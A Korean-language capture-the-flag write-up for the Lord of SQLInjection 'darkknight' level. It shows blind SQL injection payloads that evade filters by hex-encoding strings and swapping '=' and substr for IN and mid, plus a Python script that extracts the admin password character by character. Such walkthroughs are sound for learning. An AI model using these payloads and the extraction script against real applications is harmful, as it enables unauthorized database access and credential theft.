본문 바로가기
CTF/los

[CTF] Lord of SQLInjection 12번 darkknight Write-Up

by spareone 2026. 3. 10.
[그림 1] 문제 메인 페이지

Blind SQL Injection 문제인 것으로 보이며, 여기는 첫 번째 쿼리에 no라는 조건이 붙습니다. 여기서 no는 숫자 데이터임을 알 수 있습니다. (쿼터 미사용)

select id from prob_darkknight where id='guest' and pw='' and no=
select pw from prob_darkknight where id='admin' and pw=''

그리고 pw와 no에서 검열되는 문자열이 차이가 있습니다.

pw에서는 싱글쿼터만 검열되며, no에서는 싱글쿼터, substr, ascii, = 가 차단되고 있습니다.

pw에서 ‘ 가 차단되기 때문에, 숫자형 데이터인 no에서 인젝션을 수행하도록 하겠습니다.

select id from prob_darkknight where id='guest' and pw='' and no=1 or id in (0x61646d696e)

일단 admin 레코드가 불러지는지 다음과 같이 입력해 봅니다. =를 우회하기 위해 이번에는 in 연산자를 사용했으며, ‘를 우회하기 위해 admin 글자를 hex로 변환하였습니다. 이렇게 입력하면 ‘가 필요 없습니다.

[그림 2] admin 레코드 출력

admin이 출력됩니다.

select id from prob_darkknight where id='guest' and pw='' and no=1 or id in (0x61646d696e) and length(pw)>{i}

1부터 차례대로 입력하여 ‘Hello admin’이 뜨지 않는 시점을 확인합니다.

select id from prob_darkknight where id='guest' and pw='' and no=1 or id in (0x61646d696e) and mid(pw,{i},1) in({hex(j)})

이제 문자열을 구해 봅니다. ‘를 못 쓰기 때문에 대신 in을 사용하며, hex로 변환하여 대신 문자열을 전달합니다.

substr()은 mid()로 바꿔서 작성하면 됩니다.

 

import requests

def func():
    URL = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php'
    cookie = {
        'PHPSESSID' : "input session id"
    }
    
    flag_len = 0
    while(True):
        flag_len += 1
        params = {
            'pw' : '1',
            'no' : f"1 or id in(0x61646d696e) and length(pw)>{flag_len}"
        }
        response = requests.get(URL, params=params, cookies=cookie)
        if "Hello admin" not in response.text:
            break
    
    print(f"flag_len : {flag_len}")

    ans = ''
    for i in range(flag_len):
        for j in range(32, 127):
            params = {
                'pw' : '1',
                'no' : f"1 or id in(0x61646d696e) and mid(pw,{i+1},1) in({hex(j)})"
            }
            response = requests.get(URL, params=params, cookies=cookie)
            if "Hello admin" in response.text:
                ans += chr(j)
                break

    return ans.lower()

if __name__ == "__main__":
    print(func())

 

자동화 코드입니다.

lower() 한 이유는 pw가 소문자이기 때문입니다. ascii값이 아니면 대소문자를 구별하지 않아, 순서가 빠른 대문자로 pw가 구해집니다.

[그림 3] 문제 정답처리

pw를 구한 뒤 입력하면 문제가 정답처리 됩니다.

댓글